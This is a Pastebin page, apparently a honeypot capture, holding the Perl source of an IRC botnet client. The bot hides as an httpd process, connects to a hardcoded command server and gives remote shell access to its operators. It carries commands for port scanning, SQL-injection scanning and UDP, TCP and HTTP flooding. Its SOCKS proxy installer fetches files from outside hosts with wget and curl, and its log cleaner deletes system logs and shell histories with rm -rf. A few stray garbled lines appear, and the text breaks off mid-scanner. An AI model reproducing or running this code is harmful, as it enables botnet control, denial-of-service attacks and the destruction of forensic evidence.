Advertisement
recon-scout

Honeypot Payload! Seen on: 2016-03-09 09:52

Mar 9th, 2016
8,166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 61.70 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ############################################
  3. my $processo = 'usr/sbin/httpd';
  4. my $linas_max='10';
  5. my $sleep='5';
  6. my $cmd="";
  7. my $id="";
  8. ############################################
  9. #!/usr/bin/perl
  10. ############################################
  11. my $processo = 'usr/sbin/httpd';
  12. my $linas_max='10';
  13. my $sleep='5';
  14. my $cmd="";
  15. my $id="";
  16. ############################################
  17. my @adms=("dontknow");
  18. my @canais=("#perls");
  19. my $chanpass = "";
  20. ##Cron
  21. $num = int rand(99999);
  22. my $nick = "LIZARDBOT" . $num . "";
  23.  
  24. #Nickname of bot
  25. my $ircname ='tom';
  26. chop (my $realname = 'hacked');
  27. #IRC name and Realname
  28. $servidor='185.43.6.83' unless $servidor;
  29. my $porta='6667';
  30. ############################################
  31. $SIG{'INT'} = 'IGNORE';
  32. $SIG{'HUP'} = 'IGNORE';
  33. $SIG{'TERM'} = 'IGNORE';
  34. $SIG{'CHLD'} = 'IGNORE';
  35. $SIG{'PS'} = 'IGNORE';
  36. use IO::Socket;
  37. use Socket;
  38. use IO::Select;
  39. chdir("/");
  40.  
  41. #Connect
  42. $servidor="$ARGV[0]" if $ARGV[0];
  43. $0="$processo"."\0"x16;;
  44. my $pid=fork;
  45. exit if $pid;
  46. die "Masalah fork: $!" unless defined($pid);
  47.  
  48. our %irc_servers;
  49. our %DCC;
  50. my $dcc_sel = new IO::Select->new();
  51. $sel_cliente = IO::Select->new();
  52. sub sendraw {
  53.    if ($#_ == '1') {
  54.       my $socket = $_[0];
  55.       print $socket "$_[1]\n";
  56.  
  57.    } else {
  58.       print $IRC_cur_socket "$_[0]\n";
  59.    }
  60. }
  61.  
  62. sub conectar {
  63.    my $meunick = $_[0];
  64.    my $servidor_con = $_[1];
  65.    my $porta_con = $_[2];
  66.  
  67.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  68.    PeerPort=>$porta_con) or return(1);
  69.    if (defined($IRC_socket)) {
  70.       $IRC_cur_socket = $IRC_socket;
  71.       $IRC_socket->autoflush(1);
  72.       $sel_cliente->add($IRC_socket);
  73.       $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  74.       $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  75.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  76.       $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  77.       nick("$meunick");
  78.       sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  79.       sleep 1;
  80.    }
  81. }
  82.  
  83. my $line_temp;
  84. while( 1 ) {
  85.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  86.    select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  87.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  88.    my @ready = $sel_cliente->can_read(0);
  89.    next unless(@ready);
  90.    foreach $fh (@ready) {
  91.       $IRC_cur_socket = $fh;
  92.       $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  93.       $nread = sysread($fh, $msg, 4096);
  94.       if ($nread == 0) {
  95.          $sel_cliente->remove($fh);
  96.          $fh->close;
  97.          delete($irc_servers{$fh});
  98.       }
  99.       @lines = split (/\n/, $msg);
  100.       for(my $c=0; $c<= $#lines; $c++) {
  101.          $line = $lines[$c];
  102.          $line=$line_temp.$line if ($line_temp);
  103.          $line_temp='';
  104.          $line =~ s/\r$//;
  105.          unless ($c == $#lines) {
  106.             parse("$line");
  107.          } else {
  108.             if ($#lines == 0) {
  109.                parse("$line");
  110.             } elsif ($lines[$c] =~ /\r$/) {
  111.                parse("$line");
  112.             } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  113.                parse("$line");
  114.             } else {
  115.                $line_temp = $line;
  116.             }
  117.          }
  118.       }
  119.    }
  120. }
  121.  
  122. sub parse {
  123.    my $servarg = shift;
  124.    if ($servarg =~ /^PING \:(.*)/) {
  125.       sendraw("PONG :$1");
  126.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  127.       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  128.       if ($args =~ /^\001VERSION\001$/) {
  129.          notice("$pn", "\001VERSION mIRC v7.25 CyberBot\001");
  130.       }
  131.       if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  132.          if ($onde eq "$meunick"){
  133.             shell("$pn", "$args");
  134.          }
  135. #End of Connect
  136.          if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
  137.             my $natrix = $1;
  138.             my $arg = $2;
  139.             if ($arg =~ /^\!(.*)/) {
  140.                ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  141.             } elsif ($arg =~ /^\@(.*)/) {
  142.                $ondep = $onde;
  143.                $ondep = $pn if $onde eq $meunick;
  144.                bfunc("$ondep","$1");
  145.             } else {
  146.                shell("$onde", "$arg");
  147.             }
  148.          }
  149.       }
  150.    }
  151. ######################### End of prefix
  152.    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  153.       if (lc($1) eq lc($meunick)) {
  154.          $meunick=$4;
  155.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  156.       }
  157.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  158.       nick("$meunick|".int rand(999999));
  159.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  160.       $meunick = $2;
  161.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  162.       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  163.       foreach my $canal (@canais) {
  164.          sendraw("JOIN $canal $chanpass");
  165.       }
  166.    }
  167. }
  168.  
  169. sub bfunc {
  170.    my $printl = $_[0];
  171.    my $funcarg = $_[1];
  172.    if (my $pid = fork) {
  173.       waitpid($pid, 0);
  174.    } else {
  175.       if (fork) {
  176.          exit;
  177.       } else {
  178.  
  179.          if ($funcarg =~ /^killme/) {
  180.             sendraw($IRC_cur_socket, "QUIT :");
  181.             $killd = "kill -9 ".fork;
  182.             system (`$killd`);
  183.          }
  184. ######################
  185. #                    Commands                      #
  186. ######################
  187.          if ($funcarg =~ /^commands/) {
  188.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[CyberPunk Perl Bot Commands List]-14@4] ");
  189.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Hacking Based]-----14@4] ");
  190.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  191.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  192.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sql <vuln> <dork>");
  193.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  194.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  195.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  196.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  197.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  198.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  199.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  200.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");  
  201.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  202.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  203.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  204.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  205.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  206.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  207.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  208.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  209.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  210.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  211.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  212.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3killme");  
  213.  
  214.  
  215.  
  216.  
  217.            
  218.             lk
  219.             ksendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3join #channel");  
  220.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3part #channel");
  221.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3reset");
  222.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  223.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  224.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  225.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  226.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  227.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  228.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  229.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  230.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  231.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  232.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  233.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  234.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  235.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  236.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  237. }
  238.  
  239.          if ($funcarg =~ /^linuxhelp/) {
  240.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  241.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Dir where you are : pwd");
  242.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Start a Perl file : perl file.pl");
  243.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Go back from dir : cd ..");
  244.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  245.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Show all files/dir with permissions : ls -lia");
  246.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  247.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  248.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  249.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  250.          }
  251.          
  252.          if ($funcarg =~ /^help/) {
  253.              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  254.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3flooding - For IRC Flooding Help");
  255.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3irc - For IRC Bot Command Help ");
  256.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ddos - For DDos Command Help");
  257.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3news - For Security News Command Help ");
  258.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3hacking - For Hacking Command Help");
  259.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp - For Linux Help");
  260.          }
  261.  
  262.          if ($funcarg =~ /^flooding/) {
  263.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  264.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  265.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  266.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  267.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  268.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  269.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  270.          }
  271.          
  272.          if ($funcarg =~ /^irc/) {
  273.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  274.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  275.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  276.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  277.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  278.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  279.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  280.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  281.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  282.          }  
  283.          
  284.          if ($funcarg =~ /^ddos/) {
  285.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  286.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  287.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  288.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  289.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  290.          }  
  291.  
  292.          if ($funcarg =~ /^news/) {
  293.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  294.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  295.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  296.          }  
  297.  
  298.          if ($funcarg =~ /^hacking/) {
  299.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  300.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  301.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  302.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  303.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  304.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  305.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  306.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  307.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  308.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  309.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");  
  310.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  311.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  312.          }                  
  313. ######################
  314. #   End of  Help     #
  315. ######################
  316. ######################
  317. #     Commands       #
  318. ######################
  319.          if ($funcarg =~ /^system/) {
  320.             $uname=`uname -a`;
  321.             $uptime=`uptime`;
  322.             $ownd=`pwd`;
  323.             $distro=`cat /etc/issue`;
  324.             $id=`id`;
  325.             $un=`uname -sro`;
  326.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  327.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
  328.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
  329.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
  330.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
  331.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
  332.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
  333.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 fuck");
  334.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #berau");
  335.          }
  336.  
  337.          if ($funcarg =~ /^milw0rm/) {
  338.             my @ltt=();
  339.             my @bug=();
  340.             my $x;
  341.             my $page="";
  342.             my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  343.             print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  344.             my @r = <$socke>;
  345.             $page="@r";
  346.             close($socke);
  347.             while ($page =~  m/<title>(.*)</g){
  348.                $x = $1;
  349.                if ($x =~ /\&lt\;/) {
  350.                   $x =~ s/\&lt\;/</g;
  351.                }        
  352.                if ($x !~ /milw0rm/) {
  353.                   push (@bug,$x);
  354.                }
  355.             }
  356.             while ($page =~  m/<link.*expl.*([0-9]...)</g) {
  357.                if ($1 !~ m/milw0rm.com|exploits|en/){
  358.                   push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  359.                }
  360.             }
  361.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  362.             foreach $x (0..(@ltt - 1)) {
  363.                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
  364.                sleep 1;
  365.             }
  366.          }
  367. ######################
  368. #      Portscan      #
  369. ######################
  370.          if ($funcarg =~ /^portscan (.*)/) {
  371.             my $hostip="$1";
  372.             @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  373.             my (@aberta, %porta_banner);
  374.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  375.             foreach my $porta (@portas)  {
  376.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  377.                   'tcp', Timeout => 4);
  378.                if ($scansock) {
  379.                   push (@aberta, $porta);
  380.                   $scansock->close;
  381.                }
  382.             }
  383.  
  384.             if (@aberta) {
  385.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  386.             } else {
  387.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  388.             }
  389.          }
  390.  
  391. ######################
  392. #  End of  Portscan  #
  393. #####################
  394. #####################
  395. # Chk The News from PacketStorm#
  396. ######################
  397. if ($funcarg =~ /^packetstorm/) {
  398.    my $c=0;
  399.    my $x;
  400.    my @ttt=();
  401.    my @ttt1=();
  402.    my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  403.    print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  404.    print $sock "Host: www.packetstormsecurity.org\r\n";
  405.    print $sock "Accept: */*\r\n";
  406.    print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  407.    my @r = <$sock>;
  408.    $page="@r";
  409.    close($sock);
  410.    while ($page =~  m/<link>(.*)<\/link>/g)
  411.    {
  412.            push(@ttt,$1);
  413.    }
  414.    while ($page =~  m/<description>(.*)<\/description>/g)
  415.    {
  416.           push(@ttt1,$1);
  417.    }
  418.    foreach $x (0..(@ttt - 1))
  419.    {
  420.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  421.       sleep 3;
  422.       $c++;
  423.    }
  424. }
  425. ######################
  426. #Auto Install Socks V5 using Mocks#
  427. ######################
  428. if ($funcarg =~ /^socks5/) {
  429.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  430.       system 'cd /tmp';
  431.       system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  432.       system 'tar -xvfz mocks-0.0.2.tar.gz';
  433.       system 'rm -rf mocks-0.0.2.tar.gz';
  434.       system 'cd mocks-0.0.2';
  435.       system 'rm -rf mocks.conf';
  436.       system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  437.       system 'touch mocks.log';
  438.       system 'chmod 0 mocks.log';
  439.          sleep(2);
  440.       system './mocks start';
  441.          sleep(4);
  442.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4   ");
  443.  
  444.       #lets grab ip
  445.       $net = `/sbin/ifconfig | grep 'eth0'`;
  446.       if (length($net))
  447.       {
  448.       $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  449.       if (!length($net))
  450.       {
  451.       $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  452.       }
  453.          if (length($net))
  454.       {
  455.          chop($net);
  456.          @netip = split/:/,$net;
  457.          $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  458.          $ip = $1 .".". $2 .".". $3 .".". $4;
  459.          
  460.             #and print it ^^  
  461.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  462.          }
  463.       else
  464.    {
  465.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  466.    }
  467. }
  468. else
  469. {
  470.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  471. }
  472. }
  473. ######################
  474. #        Nmap        #
  475. ######################
  476.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  477.          my $hostip="$1";
  478.          my $portstart = "$2";
  479.          my $portend = "$3";
  480.          my (@abertas, %porta_banner);
  481.        sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4|  4: $1:. |.: 4Ports 12:.  4 $2-$3");
  482.        foreach my $porta ($portstart..$portend){
  483.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  484.     if ($scansock) {
  485.                  push (@abertas, $porta);
  486.                  $scansock->close;
  487.                  if ($xstats){
  488.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan :. |Founded  4 $porta"."/Open");
  489.                  }
  490.                }
  491.              }
  492.              if (@abertas) {
  493.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| Complete ");
  494.              } else {
  495.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| No open ports have been founded  13");
  496.              }
  497.           }
  498. ######################
  499. #    End of Nmap     #
  500. ######################
  501. ######################
  502. #    Log Cleaner     #
  503. ######################
  504. if ($funcarg =~ /^logcleaner/) {
  505. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  This process can be long, just wait");
  506.     system 'rm -rf /var/log/lastlog';
  507.     system 'rm -rf /var/log/wtmp';
  508.    system 'rm -rf /etc/wtmp';
  509.    system 'rm -rf /var/run/utmp';
  510.    system 'rm -rf /etc/utmp';
  511.    system 'rm -rf /var/log';
  512.    system 'rm -rf /var/logs';
  513.    system 'rm -rf /var/adm';
  514.    system 'rm -rf /var/apache/log';
  515.    system 'rm -rf /var/apache/logs';
  516.    system 'rm -rf /usr/local/apache/log';
  517.    system 'rm -rf /usr/local/apache/logs';
  518.    system 'rm -rf /root/.bash_history';
  519.    system 'rm -rf /root/.ksh_history';
  520. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  All default log and bash_history files erased");
  521.       sleep 1;
  522. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Now Erasing the rest of the machine log files");
  523.    system 'find / -name *.bash_history -exec rm -rf {} \;';
  524.    system 'find / -name *.bash_logout -exec rm -rf {} \;';
  525.    system 'find / -name "log*" -exec rm -rf {} \;';
  526.    system 'find / -name *.log -exec rm -rf {} \;';
  527.       sleep 1;
  528. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Done! All logs erased");
  529.       }
  530. ######################
  531. # End of Log Cleaner #
  532. ######################
  533. ######################
  534. #              SQL SCANNER              #
  535. ######################
  536.  
  537. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  538.    if (my $pid = fork) {
  539.       waitpid($pid, 0);
  540.    } else {
  541.       if (my $d=fork()) {
  542.          addproc($d,"[SQL2] $2");
  543.          exit;
  544.       } else {
  545.          
  546.          my $bug=$1;
  547.          my $dork=$2;
  548.          my $contatore=0;
  549.          my ($type,$space);
  550.          my %hosts;
  551.          my $columns=$3;
  552.          
  553.                         ### Start Message
  554.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  555.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  556.                         ### End of Start Message
  557.             # Starting Google
  558.             my @glist=&google($dork);
  559.                         sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  560.                         my @mlist=&msn($dork);
  561.                         my @asklist=&ask($dork);
  562.                         my @allist=&alltheweb($dork);
  563.                         my @aollist=&aol($dork);
  564.                         my @lycos=&lycos($dork);
  565.                         my @ylist=&yahoo($dork);
  566.                         my @mzlist=&mozbot($dork);
  567.                         my @mamalist&mamma($dork);
  568.                         my @hlist=&hotbot($dork);
  569.                         my @altlist=&altavista($dork);
  570.                         my @slist=&search($dork);
  571.                         my @ulist=&uol($dork);
  572.                         my @fireball=&fireball($dork);  
  573.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  574.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  575.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  576.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  577.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  578.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
